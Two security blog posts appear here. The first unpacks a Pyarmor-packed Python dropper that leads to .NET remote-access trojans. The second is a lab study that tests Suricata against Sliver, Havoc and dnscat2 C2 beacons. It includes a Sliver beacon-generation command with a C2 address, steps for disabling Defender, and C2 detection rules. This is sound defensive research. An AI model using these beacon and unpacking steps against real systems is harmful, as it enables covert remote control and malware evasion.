The use of GCM in the native module is somewhat bizarre for multiple reasons.

  datasize = *(_DWORD *)(pData + 32);
  v5 = *(_DWORD *)(pData + 36);
  cipherdata = (int *)(pData + *(unsigned int *)(pData + 28));
  if ( (*(_BYTE *)(pData + 37) & 7) != 0 )
  {
    codecrypto = a1->codecrypto;
    *(_DWORD *)(pData + 40) = v5;
    gcmobj = (gcm *)(codecrypto + 24);
    cryptres = gcm_reset((gcm *)(codecrypto + 24));
    if ( cryptres
      || (cryptres = gcm_add_iv(gcmobj, pData + 40, 12u)) != 0
      || (cryptres = gcm_add_aad_0(gcmobj, 0LL, 0)) != 0
      || (cryptres = gcm_process(gcmobj, (__int64)cipherdata, datasize, (__int64)cipherdata, 1)) != 0 )
    {
      // handle error and return or exit process
    }
  }

You can see multiple GCM functions being used here that look like they should be from libtomcrypt, however that is not directly the case. These stem from a different compilation unit using a smaller gcm state structure than libtomcrypt. The struct contains keys for different cipher types at its beginning, and some of them were omitted in this variant. In the case of gcm_add_aad, the “normal” libtomcrypt function is in fact also present in the binary, which is why we have a _0 suffix here. The special functions do, however, make direct use of various primitives from the normal libtomcrypt, such as gcm_mult_h.

Another thing to note is the absence of authentication tag handling.

"I heard GCM is a good cipher mode to use"

The point of using GCM is to prevent manipulation of the ciphertext, i.e., to ensure that decryption returns the exact data that was encrypted. Otherwise, it’s possible for someone to flip a couple bits in the ciphertext in the hopes of achieving interesting changes in the plaintext. Without storing and comparing the authentication tag, no guarantees about the output data are made, and one might as well have used any other cipher mode such as CTR.

It’s not entirely clear why Pyarmor chose GCM, although their choices do have a noteworthy consequence: Some tools and libraries outright refuse to decrypt anything in GCM mode if you don’t have an authentication tag. For example, it’s not possible to use Cyberchef in this particular case.

Lastly, the nonce (or initialization vector) handling is slightly weird. While the size is the GCM default of 12 bytes, it is not stored in one contiguous piece. You can see that the dword at + 40 is replaced with the dword at + 36.

The decryption snippet shown in this section is used in various places by the native module whenever it needs to decrypt any amount of data, for example the huge bytes string we saw in the beginning is largely comprised of GCM-ciphertext.

Now we can decrypt everything, right?

You can think of the huge bytes string passed to __pyarmor__ as an encrypted .pyc file with a custom header. The header has the following structure:

Offset	Description	Example
0:8	Module magic (must match native module identifier)	PY007106
9	Python major version	3
10	Python minor version	12
12:16	.pyc magic for specific Python version	`CB 0D 0D 0A`
20	Protection type? `9` for bcc mode, otherwise `8`	8
28:32	Ciphertext offset	64
32:36	Ciphertext size	496093
36:40	IV bytes [0:4]; individual bytes contain flags; also used as “validation” dword for decrypted data	`12 09 06 00`
37	Any of the first 3 bits in this byte must be 1 for GCM to be applied	9
40:44	Fake IV bytes [0:4]	`2C FE 35 B2`
44:52	IV bytes [4:12]	`83 6F 1C 69 1D 3F AB 73`
dynamic	Ciphertext, at offset given above

Figure 4: Structure of bytes string passed to __pyarmor__()

Applying GCM decryption yields the following:

Figure 5: First decryption result

Now this doesn’t look too shabby, we can see some strings and further down (outside the range shown here), we even get interesting ones like key and rc4_decrypt. One thing that immediately caught our eye is that there is still some data that seems to have pretty high entropy, especially at the ranges 0x60..0x90 and after 0x140. Thus, the next goal is going to be understanding what context the still-encrypted data appears in.

The decrypted data has another Pyarmor-specific header, which helpfully comes with a length prefix (0x20). We can see a repetition of 12 09 06 00, which is compared with the value from the outer header. Afterwards (starting from 0x20), we have data that is passed into PyMarshal_ReadObjectFromString().

Python marshaling

The Python interpreter uses the built-in marshal module whenever it needs to serialize or deserialize compiled scripts. It essentially implements a Python-specific binary format for basic types like integers, strings, floats, tuples, lists, and most importantly, code objects. The format is not stable and tends to vary with each Python interpreter version. Thus, to have any chance at all, the data must be loaded with the exact Python version it was written with. When we tried this with python3.12, it failed with a “bad marshal data (unknown type code)” error. Uh oh….

In the previous section, we mentioned a PyMarshal function that is used. We omitted the fact that this function is not imported from the main Python library. Instead, the entire marshaling code was vendored into the Pyarmor runtime, and we identified it by searching for some of the error strings on GitHub. There’s pretty much only one reason one would do such a thing: in order to customize some logic in the code.

So we accepted our fate, built python3.12 from source, and stepped through the deserialization logic side by side to find the point of divergence. Somewhat unsurprisingly, the difference turned out to be in code objects, specifically at the end of the object data. Pyarmor contains the following additional logic:

            if ( !rf->readable )
            {
              v265 = getc((FILE *)rf->fp);
              if ( v265 != -1 )
                goto LABEL_546;
              goto LABEL_479;
            }
            v320 = (unsigned __int8 *)r_byte(1LL, (__int64)rf);
            if ( !v320 )
            {
              PyErr_SetString(PyExc_EOFError, "EOF read where object expected");
              goto code_error;
            }
            v265 = *v320;
LABEL_546:
            v304 = (_BYTE *)r_string(v265, (__int64)rf);
            v305 = (__int64 *)v304;
            if ( !v304 )
              goto error;

This logic reads an additional bytes string prefixed with a length byte. Its purpose is unknown - it didn’t seem to be relevant for static analysis.

Since we already had the Python source at hand anyway, we simply inserted similar logic into the marshal module. When doing so, you must take care not to disturb the normal loading activities of the Python runtime, since of course it also runs the unmarshaling code when loading built-in/standard modules. The patch we came up with for python3.12 is part of our GitHub repo, along with a docker image building a patched Python.

With the customized Python build, we were now able to successfully parse the binary data we decrypted!

>>> marshal.load(BytesIO(data[0x20:]))
Got extra data of length 12
Got extra data of length 12
Got extra data of length 12
<code object <module> at 0x7f9a3a6ce100, file "<frozen JAN-X1>", line 1>

The module we parsed contains three code objects in total, so we got three debug prints about the additional bytes that were found. It appears the malware’s source file was originally called JAN-X1.py.

Side note: There is one other reason that it is in Pyarmor’s interest to vendor the unmarshaling code. The official variant of the code offers auditing hooks that allow you to be informed whenever the interpreter unmarshals data. This was utilized by unpackers for older Pyarmor versions. In the vendored code, any auditing logic is conveniently missing.

Analyzing the actual bytecode

With our code object instance at the ready, we can finally disassemble some bytecode!

>>> dis.dis(thecode)
  0           0 NOP

  1           2 NOP
              4 PUSH_NULL
              6 LOAD_CONST               1 ('__pyarmor_enter_60307__')

  2           8 LOAD_CONST               2 (b'\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x1a@\x00\x00\x00\x00\x00\x00\x00')
             10 BUILD_TUPLE              1
             12 CALL_FUNCTION_EX         0
             14 POP_TOP
             16 RESUME                   0
             18 NOP
             20 NOP
             22 NOP
             24 NOP
Traceback (most recent call last):
...
  File "/python312/Lib/dis.py", line 401, in _get_name_info
    argval = get_name(name_index, **extrainfo)
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
IndexError: tuple index out of range

Well… it’s a start? There are a couple of things to note here:

Remember the code enter/leave functions we noted in C earlier in the post? Here, they’re calling enter
When looking at where the bytecode is defined in the decrypted binary data, the high entropy (encrypted) area happens to start directly after the chain of NOPs at the end
The first encrypted offset (26/0x1a) is also present in the conspicuous bytes string that is loaded at offset 8. Furthermore, the byte after \x1a (@ aka 0x40) is a good match for the size of the encrypted area

Looking at the code for c_enter_co_object, we see the following:

  iv_func = (__int64 (__fastcall *)(char *, _QWORD))ret_zero;
  if ( (*(_BYTE *)(args + 40) & 4) != 0 )
    iv_func = *(__int64 (__fastcall **)(char *, _QWORD))(args + 52);// some sort of iv mutator? not used in our case
  iv_offset = *(unsigned __int8 *)(args + 41);
  v13 = (char *)codeptr + iv_offset;
  if ( (*(_BYTE *)(args + 40) & 2) == 0 )
    v13 = (char *)codeptr + *(unsigned int *)(args + 44) + iv_offset + *(unsigned __int8 *)(args + 43);
  *(_QWORD *)iv = *(_QWORD *)v13;
  *(_DWORD *)&iv[8] = *((_DWORD *)v13 + 2);
  if ( !iv_func(iv, 0LL) )
  {
    codecrypto = v2->codecrypto;
    cryptsize = *(_DWORD *)(args + 44);
    cryptstart = *(_BYTE *)(args + 43);
    gcm = (gcm *)(codecrypto + 24);
    assume12 = *(_BYTE *)(codecrypto + 1);
    v19 = gcm_reset((gcm *)(codecrypto + 24));
    if ( !v19 )
    {
      v19 = gcm_add_iv(gcm, (__int64)iv, assume12);
      if ( !v19 )
      {
        v19 = gcm_add_aad_0(gcm, 0LL, 0);
        if ( !v19 )
        {
          v19 = gcm_process(gcm, (__int64)codeptr + cryptstart, cryptsize, (__int64)codeptr + cryptstart, 0);
          if ( !v19 )

Looks similar enough to what we’ve seen before, right? It’s AES-GCM again with the same key.

Based on how the parameters are used in the GCM functions and what we deduced earlier, we can tell that the bytes string we saw in the bytecode starts at args + 32. The GCM IV location is obtained through a series of offsets computations. In our case, it was always located right after the ciphertext. Unlike earlier, the IV bytes are not split up. However, there seems to be some capability to run the IV through an additional function for unknown purposes (possibly to mutate it?).

Essentially, what we’re dealing with here is just-in-time decryption. The code is decrypted, executed, and then re-encrypted. This means that functions that are not currently being executed are not available in plaintext even if you dump the process memory.

We decided to write a script that parses the code objects, extracts the bytes string to find the ciphertext and IV, and generates a file that basically describes where and how to apply GCM in the raw decrypted script. This description can then be used by a normal Python installation in order to do the decryption (it seemed prudent to use our modified Python as little as possible - in particular, we didn’t feel like attempting to run Pycryptodome on it).

Finally decrypted

Here’s the decrypted continuation of the bytecode we had earlier:

  1          26 NOP

  2          28 LOAD_CONST               3 (0)
             30 LOAD_CONST               4 (None)
             32 IMPORT_NAME              1 (ctypes)
             34 STORE_NAME               1 (ctypes)

  3          36 LOAD_CONST               3 (0)
             38 LOAD_CONST               4 (None)
             40 IMPORT_NAME              2 (base64)
             42 STORE_NAME               2 (base64)

  5          44 LOAD_CONST               5 (<code object rc4_decrypt at 0x5e6298eb3bd0, file "<frozen JAN-X1>", line 5>)
             46 MAKE_FUNCTION            0
             48 STORE_NAME               3 (rc4_decrypt)

 27          50 LOAD_CONST               6 (<code object execute_shellcode at 0x5e6298ec0560, file "<frozen JAN-X1>", line 27>)
             52 MAKE_FUNCTION            0
             54 STORE_NAME               4 (execute_shellcode)

 45          56 PUSH_NULL
             58 LOAD_NAME                4 (execute_shellcode)
             60 CALL                     0
             68 POP_TOP
             70 LOAD_CONST               4 (None)
             72 NOP
             74 NOP
             76 NOP
             78 JUMP_FORWARD            19 (to 118)
             ... followed by pyarmor leave code ...

The function references that can be seen here do exactly what they say. The execute_shellcode function contains a huge base64-encoded string, which is decrypted using RC4, allocated as executable memory using Windows APIs, and then jumped into.

So in the end, we don’t have “real” Python malware here, just a somewhat unusual malware packer.

The actual malware

The question remains - what malware did they try to infect us with?

One thing is for certain: the amount of layers the malware is packed in is slightly ridiculous. Whenever we unpacked one stage, we’d be faced with another packer and the payload got smaller and smaller, to a point where we wondered if anything would actually be left. In the end, the chain turned out to be this:

Pyarmor
Shellcode (packer)
Injector generated by laZzzy, injects into notepad.exe
Shellcode (same packer as before)
.NET malware (sometimes also packed with additional .NET packer).

If you count the initial dropper stages, the list is even longer.

A comprehensive malware analysis would be out of scope here, and frankly, not that interesting, so we’re just going to leave you with some screenshots for code impressions.

Figure 6: This specimen is a variant of the XWorm RAT

Figure 7: PureHVNC RAT, stealing crypto wallets and browser data. It also collects basic info about your system, including whether a camera is plugged in

Filename	Malware family
`EAdate.py`	DcRat
`FAScis.py`	AsyncRAT
`GXrop.py`	XWorm RAT
`HPUope.py`	PureHVNC

Figure 8: Types of malware used in the campaign

The other set of files (BArown.py, etc.) contains the same malware - the Python files have different hashes, but the final unpacked binaries are identical.

In one of the next installments on this blog, we’re going to talk about .NET obfuscation, so stay tuned!

GitHub repo with scripts developed for Pyarmor: https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling

Updated on April 4: We’ve identified the previously denoted as unknown sample HPUope.py to be PureHVNC.

Detection of Command and Control Traffic Using Suricata

Fri, 06 Dec 2024 00:00:00 +0000

Introduction

First of all, I’m pretty proud to serve the first forensic blogpost @ cyber.wtf. This blog post is about the detection of Command and Control (C2) traffic and how attackers use frameworks to maintain remote access through common protocols like HTTP/S, DNS, or SMB. The experiment we conducted involved installing these malicious tools within a virtual environment and utilizing Suricata and Wireshark to analyze the traffic in detail. The main question behind this was essentially:
“Does Suricata detect C2 traffic (out of the box)?”

Introduction
- C2 Basics
- (Ab)used C2 Protocols
Open Source NIDS
- Snort vs. Suricata
- Overview of ET Open
Virtual Lab
- Generating Beacons
  - Sliver
  - Havoc
  - dnscat2
- F**k around
  - Results
Diving Down into the C2 Network Traffic with Wireshark
Conclusion
- What did we want to show with this blog post?
- What do we learn from this?

C2 Basics

First things first, what is ‘Command and Control’ (Traffic)? Command and Control, or C2, is a type of remote access solution, but not the kind of software installed by local IT staff. Rather, it is a method cybercriminals utilize as an alternative way to gain or maintain a foothold, move laterally through the network, or interact with compromised hosts.

There are many common open-source C2 frameworks seen in the wild, such as Havoc or Sliver, which are available on GitHub. On the commercial side, you may come across Cobalt Strike by Forta or Brute Ratel by Dark Vortex. Cobalt Strike, which is supposed to be used in penetration testing scenarios, is often abused by cybercriminals in ransomware incidents.

Beacons are not typically executed by clicking on a malicious email attachment; rather, this usually occurs after the initial compromise of a single system. The main components are the implant or beacon, which runs on the compromised host, and the C2 server, which has the capability to control the compromised host. To achieve this goal, the beacon and the C2 server communicate within a typical client-server model. The system initiating the session is the compromised host. The main reason behind this is that outgoing internet traffic is not filtered or monitored as strictly as incoming traffic.

(Ab)used C2 Protocols

To make it even more complicated for blue teams, the traffic between the beacon and the C2 server is hidden within typical network protocols that are prevalent in a corporate network. Abused protocols include:

HTTP (Hypertext Transfer Protocol)
HTTPS (Hypertext Transfer Protocol Secure)
DNS (Domain Name System)
(m)TLS (Transport Layer Security)
VPN (Virtual Private Network)
SMB (Server Message Block)

Unfortunately, this is not the end of the story. Many more protocols can be exploited to tunnel C2 traffic. The main features the protocol must meet are:

A bi-directional protocol, or alternatively, a P2P protocol
A native Windows API should be available to handle the traffic
The necessary permissions to use the aforementioned Windows API should be as minimal as possible

For example, ICMP matches all these requirements and can therefore also be exploited. As previously mentioned, most of the abused protocols appear regularly in network traffic, making them less suspicious when logged as outgoing traffic. One exception is SMB, which is unusual and should generally be blocked. DNS might also raise concerns for a firewall admin if it appears in an unusual manner. For instance, if there is an internal DNS resolving all internal requests but one client is using a public DNS, this could raise suspicion. However, ICMP, HTTP/S, or VPN/TLS traffic would typically not raise any concerns if logged in the outgoing firewall policy.

This sets the stage for the next section, where the open-source NIDS/NIPS Suricata is explained in detail, so we may detect C2 traffic even without a NGFW in our company network.

Open Source NIDS

There are many tools you might encounter when searching for “IDS” (Intrusion Detection System) on popular search engines. IDS is a general term that also encompasses HIDS (Host Intrusion Detection Systems). However, in this case, we are specifically looking at NIDS (Network Intrusion Detection Systems) or NIPS (Network Intrusion Prevention Systems).

Although it is not entirely accurate, we will use the term NIDS to refer to both NIDS and NIPS collectively. Since we will not be utilizing any features that intercept traffic, using the term NIDS will suffice for our purposes.

If you’re interested in a more detailed explanation of what defines a NIDS, including its main components, I recommend an excellent book published in 2005: Foundations of Security Analysis and Design III.

Snort vs. Suricata

Snort is the oldest NIDS, dating back to before the 2000s and maintained by Cisco since 2013. It offers two main rulesets: the “Community Ruleset,” which, as you might expect, is free, and an extended “Subscriber Ruleset,” which requires a paid subscription.

Suricata had its first release in 2009 and is maintained by the “Open Information Security Foundation,” financially supported by Trellix (formerly known as FireEye) and several other commercial NGFW (Next Generation Firewall), NIDS providers that integrate Suricata into their products. Suricata also has two main rulesets: the free “ET Open” and the paid “ET Pro” subscription.

Even though Snort and Suricata are both NIDS/NIPS with nearly identical functionality, there are some key differences upon closer examination. A few years ago, if you had asked someone working with NIDS, they might have said, “rely on Suricata if you expect high traffic volumes.” This was because Snort lacked multi-threading or multi-core support, a feature that Suricata has had since its inception. However, this is no longer the case, as Snort 3 now includes multi-threading capabilities.

I came across an interesting paper from 2023, A comparative analysis of Snort 3 and Suricata, which benchmarked Snort and Suricata under high traffic loads.
TL;DR: CPU and memory usage were nearly the same, but Snort showed slightly higher packet loss. As a result, Suricata exhibited a marginally better false-negative rate compared to Snort.

Here are some specific areas where the two systems differ and merit closer evaluation:

Protocol Support: Suricata supports more protocols than Snort.
Log Output Format: Both Snort (starting with version 3) and Suricata support (EVE) JSON as a log output format.
- Snort 2, by contrast, uses Unified2, a proprietary format that is now deprecated.
Ruleset Updates: Updating rulesets in Suricata is more straightforward.
- In Snort, you may need to write your own scripts for automation or use third-party tools like “PulledPork.”
- As a result, implementing CTI (Cyber Threat Intelligence) is slightly less cumbersome with Suricata.
Alert Management: Neither system includes built-in alert management.
Anomaly Detection: Neither system supports statistics-based anomaly detection out of the box.

Personally, I find Suricata to be more modern and interoperable, so I focused my further testing exclusively on Suricata.

Overview of ET Open

In this section, we will provide a quick overview of “ET Open,” the free ruleset included with Suricata. First of all, ET Open is updated regularly, so any numbers mentioned below may not apply in the future.

ET Open contains around 50,000 rules, though a small number of them are commented out and will not be loaded, effectively making them absent. Unfortunately, ET Open lacks structure, so analyzing it often requires extensive grepping. Approximately 8,300 rules include terms such as classtype:command-and-control, Command and Control, CnC, c2 communication, or beacon. Of these, about 1,700 are commented out, leaving roughly 6,500 active rules intended to detect C2 activity. The protocols these rules cover, in descending order, are: HTTP, DNS, TLS, TCP, UDP, SMTP, ICMP, FTP, SMB, TCP-Stream, and IP (General).

One thing we noticed is that the DNS rules are very specific, matching on known malicious domains. However, we did not find any rules that take a more general approach to detecting suspicious parameters within the DNS protocol. The same pattern holds true for the TLS rules: half of them (around 700 in total) match on known malicious names in the TLS Server Name Indicator (SNI), while the other half target the Subject field within TLS certificates. These rules are effective for catching low-hanging fruit but are unlikely to remain effective in the long term, as malicious domains (and their corresponding certificates) change frequently. Furthermore, with TLS 1.3, it is no longer possible to inspect the certificate (e.g., SNI or Subject) because this data is now encrypted. Looking ahead, rules structured this way will have limited effectiveness in the future.

In conclusion, we have Suricata as our NIDS and a collection of rules designed to detect C2 activity. Let’s put them to the test in the next section.

Virtual Lab

Before we can start, we need machines, a lot of virtual machines. We installed the following systems:

Victim (Windows): Runs the C2 beacons
Victim-Pivot (Windows): Runs the SMB beacon
Attacker (Debian): C2 Server
Suricata (Ubuntu): Router and Suricata
dnscat2 (Ubuntu): C2 Server for DNS

All in all, the virtual network is configured as shown in the following figure:

Network Overview

You may wonder why there is a Victim-Pivot, running the SMB beacon, sitting in the same network as the Attacker. This is due to the specific usage of the SMB beacon, which does not communicate directly with the C2 server. Instead, in Sliver’s implementation, it serves as an indirect method of communication by relaying through another beacon to a secondary system. This process is illustrated in the following figure:

SMB Beacon Communication Flow

To keep things simple, the Victim-Pivot is located in the same network, ensuring that Suricata remains positioned between the C2 server and the SMB traffic.

A few additional modifications:

Disable Windows Security Features:
- Disable Windows Defender RTP to allow the beacons to execute without interference.
- Set LimitBlankPasswordUse to 0 to allow SMB NULL Sessions.
Initial Suricata Configuration (suricata.yaml):
- Set HOME_NET for the NIC at LAN1.
- Include ET Open (suricata.rules) in the rule-files section.
Initial Configuration of the Suricata Host:
- Configure iptables firewall rules.
- Configure iptables NAT rules.
Prerequisites for C2 via DNS:
- Purchase a domain.
- Set Name Server (NS) entries for the domain, pointing to the dnscat2 C2 server.
- Set TTL to 5 minutes.
- Verify that DNS packets are reaching the C2 server.

Now, we can start with the tools to generate the C2 traffic, for which we chose the following tools:

Havoc and Sliver are C2 frameworks that we will use to generate C2 traffic. Both of them essentially perform the same function but exploit different protocols. This way, we avoid putting all our eggs in one basket. For this reason, we also tested a smaller GitHub project (dnscat2), which is not a full-fledged C2 framework but rather an attack tool that allows us to control the beacon via DNS.

The following protocols were abused:

HTTP/S (Sliver)
(m)TLS (Sliver)
WireGuard VPN (Sliver)
DNS (dnscat2)
HTTP and SMB (Havoc)

Generating Beacons

Sliver

Sliver is an interactive, console-like application with a beautified output, making it appear similar to a GUI. Generating beacons with Sliver is straightforward and can be summarized as:
generate beacon --[protocol] [c2-ip]:[port] --save [path]
For example:
generate beacon --http 172.16.0.100:80 --save /home/http.exe
This command generates an HTTP beacon (by default for Windows) that contacts the C2 server at 172.16.0.100:80. The process worked by default for all the beacons we used. Some default parameters for the beacon are preconfigured, such as:

A timeout: the duration (default 60 seconds) the beacon waits before connecting to the C2 server.
A jitter: a random variation in the connection time, designed to avoid statistical detection.

After generating the beacon, the listener simply needs to be started by specifying the protocol, such as http for the HTTP listener. Once the beacon starts, it will appear in the interactive console, allowing interaction.

Sliver HTTP beacon startup

Havoc

Havoc features a GUI reminiscent of the Cobalt Strike console, with similar base functionalities. While Havoc lacks post-exploitation features, the initial look and feel are nearly identical. The steps to generate a beacon are straightforward:

Start a listener for the appropriate protocol (see figure Havoc HTTP listener).
Generate a payload (see figure Havoc HTTP payload generation).
Execute the beacon on the target host.

Havoc HTTP listener

Havoc HTTP payload generation

Once the beacon starts, it will appear in the GUI console, allowing interaction:

Havoc HTTP beacon startup

dnscat2

dnscat2, like Sliver, is a console-like application. Its configuration differs slightly: the beacon executable needs to be built with Visual Studio and then executed via cmd using the C2 domain as a parameter:

DNS beacon startup

Once the beacon starts, it will appear in the GUI console, allowing interaction.

There are many ways, depending on the tool and the (ab)used C2 protocol, to customize the traffic. However, we did not make any such customizations. As you will see in the next section, the traffic already looks quite sophisticated, which, I admit, surprised me as well.

F**k around

So now, we have several beacons running. What do we do next? Discover the network, escalate privileges, exfiltrate data, encrypt all the data, extortion. This is exactly what a cybercriminal would do in the same situation.

As a blue teamer, you may think about how to generate the most diverse traffic possible. Summarizing my approach, we performed the following actions, which may result in noticeable changes in the traffic sent or received:

Beacon session initiation
No interaction (beacon idle traffic)
Executing commands with varying response sizes, such as pwd or pslist
Uploading dummy ZIP archives to the victim machine with different file sizes
Beacon session termination

These same interactions were carried out for all beacons, and the corresponding network traffic was captured. This traffic will be analyzed to identify distinctive characteristics suitable for use in Suricata detection rules. For a deeper dive, we’ll explore this in the section Diving Down into the C2 Network Traffic with Wireshark.

Results

There were no detections for all the mentioned beacons, except for the following:

HTTP (Sliver): SURICATA Applayer Mismatch protocol both directions
HTTP (Havoc): ET MALWARE Havoc Framework Header in HTTP Response

In the first case, this is not a real detection but rather an alert indicating that Suricata’s protocol detection has identified a mismatch in both directions. This could be an indicator that something is wrong with the traffic. However, in a real-world scenario, this alert would likely not be forwarded or analyzed further.

The second detection is more concerning, as it explicitly names the framework being used. Let’s take a closer look at the Suricata rule that triggered this detection, specifically the Havoc detection:

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET MALWARE Havoc Framework Header in HTTP Response";
flow:established,to_client;
http.header_names; to_lowercase; content:"x-havoc|0d 0a|"; fast_pattern;

reference:url,github.com/HavocFramework/Havoc/blob/main/Teamserver/profiles/havoc.yaotl;
reference:url,twitter.com/MichalKoczwara/status/1652986620658761729;

classtype:trojan-activity; sid:2045270; rev:2;

metadata:attack_target Client_Endpoint, created_at 2023_05_01, deployment Perimeter, deployment SSLDecrypt, confidence High, signature_severity Major, updated_at 2024_04_26;)

I made some edits to the rule for better readability. The rules as shown will not work if you simply copy and paste it. For reference, you’ll find the Suricata rules mentioned below in our public GitHub repository (Suricata-C2).
A rule consists of the following three elements:

Action: What should be done if the signature matches?
In this case, it’s alert, but you could also use drop, reject, and others.
Header:
Defines the protocol, IP addresses (or placeholders), ports, and direction.
Here, it’s http $EXTERNAL_NET any -> $HOME_NET any, so any HTTP traffic no matter on which port coming from extern going to the LAN.
Options:
This is essentially the signature itself (what exactly you’re looking for) along with optional metadata like references or a classtype to provide additional context.

Let’s dive deeper into the signature details:

flow:established,to_client;
The flow keyword in Suricata identifies packets belonging to the same connection (e.g., same source, destination, protocol, source port, and destination port). For TCP, this refers to the TCP tunnel itself. For UDP, the tuple defines the flow. Here, the flow is established, meaning there’s already an active TCP tunnel, and the direction to_client specifies traffic heading to the client.
http.header_names; to_lowercase; content:"x-havoc|0d 0a|"; fast_pattern;
This line uses the HTTP-specific keyword http.header_names, which inspects HTTP headers. Protocol-specific keywords are available and allow inspection of specific fields within the protocol, much like analyzing protocol fields in Wireshark. The rule checks whether the header contains x-havoc, followed by a carriage return and line feed (|0d 0a|), which marks the end of the header.
Reference, Classtype, Metadata:
These elements provide additional context or information about the detection. Most of this is self-explanatory, offering details such as related links and the severity of the alert.

For more detailed information on Suricata rules and keywords, you can refer to the documentation: 8.1 Rules Format - Suricata 7.0.7 documentation

While experimenting, the executables were shared via a shared folder in VMware Fusion. In the meantime, my local antivirus (on the hypervisor) reacted:
“You had my curiosity. But now you have my attention.”

AV is suspecting something

Diving Down into the C2 Network Traffic with Wireshark

In this section, we will analyze the sniffed network traffic. The goal is not to reverse-engineer the encoding but rather to identify distinctive characteristics suitable for use in Suricata detection rules. All detection rules presented below have been modified for readability, so please do not simply copy and paste them.

HTTP (Sliver)

The C2 traffic itself, in its default configuration, is already pretty stealthy. There are HTTP GET and POST requests, as you would expect while browsing a website. Furthermore, the URI endpoints change with each request, but within a limited set. Over time, you will see the same URIs recurring, but with changing parameters.

Additionally, the HTTP header contains a cookie that, as we tested, changes with each new (beacon) session—again, within a limited set. Common cookies include AWSALBCORS=[...], which is typically used by AWS (Amazon Application Load Balancer). I also noticed other common cookies such as SSID or APISID (both related to Google Ads optimization).

If you’re interested, check out the source code of the HTTP beacon generation (server/configs/http-c2.go). You’ll see that most of it is fairly generic. Therefore, rules matching on these generic (and often common) parameters would likely result in false positive detections.

Fortunately, HTTP isn’t encrypted, so we can delve into the transferred “HTTP” data:

C2 via HTTP - Encoding Sample 1

C2 via HTTP - Encoding Sample 2

C2 via HTTP - Encoding Sample 3

As we can see, the data is encoded in several ways, which are described in more detail in this blog post from Immersivelabs. From my perspective, reverse-engineering the transferred data is a completely separate topic, and we won’t explore it in this post. Instead, we ask ourselves whether there are characteristics suitable for detection rules.

Interestingly, for some reason, English words are transferred every time a larger amount of data is sent to the C2 server. Without diving too deeply into Suricata and LUA scripting (an advanced method of defining detection logic within Suricata), I couldn’t find a way to implement detections for most of the used encodings.

Did you notice something? If not, look again at the HTTP encoding sample 3. For some reason, Sliver encodes data into English words at times. From my observations, this happens when larger amounts of data are transferred from the beacon to the C2 server. Digging into the source code, we can find a wordlist (EnglishDictionary).

My Suricata rule to detect this looks like this:

alert http any any -> any 80 (msg:"C2-Sliver: Suspicous Keywords detected in HTTP POST";

http.method; content:"POST";
http.uri; content:"php"; nocase;

file.data; pcre:"
/\x49\x43\x54\x45\x52\x49\x43\x41\x4c|
\x53\x54\x41\x52\x46\x49\x53\x48|
\x47\x55\x45\x53\x54\x49\x4e\x47|
\x4f\x56\x45\x52\x4f\x52\x47\x41\x4e\x49\x5a\x45|
\x43\x4f\x4e\x46\x45\x52\x4d\x45\x4e\x54\x53/";

classtype:trojan-activity; sid:1000400; rev:1;)

You may notice that we only used five random words (ICTERICAL, STARFISH, GUESTING, OVERORGANIZE, and CONFERMENTS) that were observed previously and converted to hex. To gain more confidence, you could implement a LUA script to check for the complete dictionary mentioned above. In my case, the detection rule was triggered within just a few interactions with the beacons.

HTTP (Havoc)

Havoc’s HTTP C2 traffic, in its default configuration, is far less sophisticated compared to Sliver. Take a look for yourself:

C2 via HTTP - Havoc

Notable characteristics:

Only HTTP POST
Request URI: /
Content-Type: */*

As mentioned, these are default values in Havoc, but you may use them to catch low-hanging fruit:

alert http any any -> any 80 (msg:"C2-Havoc: Suspicious HTTP Default Parameters";

http.method; content:"POST";
http.uri; content:"/"; urilen:1;
http.content_type; content:"*/*";

threshold:type both, track by_src, count 10, seconds 60;
sid:1000404; rev:1;)

HTTP POST (only) traffic may occur when using an API, but it’s not something you would typically expect from normal user browsing activity. To catch HTTP POST-only connections, we need to use the flowbits function in Suricata. Matching for HTTP POST without considering the flow’s context will, of course, result in false positives. Here’s how you can structure it:

(1) Set a flag if there is an established flow containing an HTTP POST request.
(2) Set a flag if there is an established flow containing an HTTP GET request, and unset the first flag.
(3) Check if flag (1) is set and flag (2) is not set, and apply a threshold to reduce sensitivity to false positives.

(1.)
alert http any any -> any 80 (msg:"HTTP POST flow detected";

flow:to_server,established;
http.method; content:"POST";
flowbits:set,http_post; flowbits:noalert;

sid:1000401; rev:1;)


(2.)
alert http any any -> any 80 (msg:"HTTP GET request in flow detected";

flow:to_server,established;
http.method; content:"GET";
flowbits:set,non_http_post; flowbits:unset,http_post; flowbits:noalert;

sid:1000402; rev:1;)


(3.)
alert ip any any -> any any (msg:"Flow with only HTTP POST requests";

flow:to_server,established;
flowbits:isset,http_post; flowbits:isnotset,non_http_post;

threshold:type both, track by_src, count 10, seconds 60;

sid:1000403; rev:2;)

Summarizing, this combination of flowbits triggers, if 10 POST requests have been seen within 60 seconds without any GET requests in the same connection.

HTTPS / mTLS

HTTPS and TLS are (sadly) pretty boring to inspect. One can observe the TCP tunnel; after that, the TLS tunnel is established (Client Hello, Server Hello, and so on), and then TLS-encrypted data. Sliver uses TLS 1.3, so you can’t even inspect the provided certificate to find suspicious names or parameters.

Theoretically, HTTPS should have been intercepted and analyzed, but this would blow my timeframe. I guess we will take a closer look at this specifically in the future.

With mTLS, there is no interception on the network level because both the client and server are validating their certificates. This could be another way of disrupting the attacker, because the connection would fail if you try to inspect the traffic, and the connection between the beacon and C2 server isn’t working. There are other possibilities if you’re controlling the client and/or C2 server, but at this point, I haven’t evaluated them, so I won’t describe them in more detail.

So, to (possibly) detect this kind of C2 traffic without interception, there are only a few options:

Anomaly detection (with Suricata and third-party tools)
Generic domain (DNS) or IP reputation checks
Cyber Threat Intelligence (CTI)

WireGuard VPN

Sliver’s WireGuard (VPN) implementation was very strange. At first, we suspected HTTPS or mTLS-like traffic but were surprised. Wireshark detected this traffic as DNS, with malformed queries:

C2 via WireGuard

Either this is a UDP tunnel embedding the WireGuard tunnel, or it’s a point-to-point DNS tunnel. Wireshark detects it as (malformed) DNS, but specific DNS fields are (more or less) meaningfully set. But that could also just be pure coincidence.

I don’t know where to start, but the sniffed packets had nothing to do with DNS, and any security appliance should sound the alarm (very loudly).

Direction (beacon -> C2 || C2 -> beacon) doesn’t have any impact, it’s always a query.
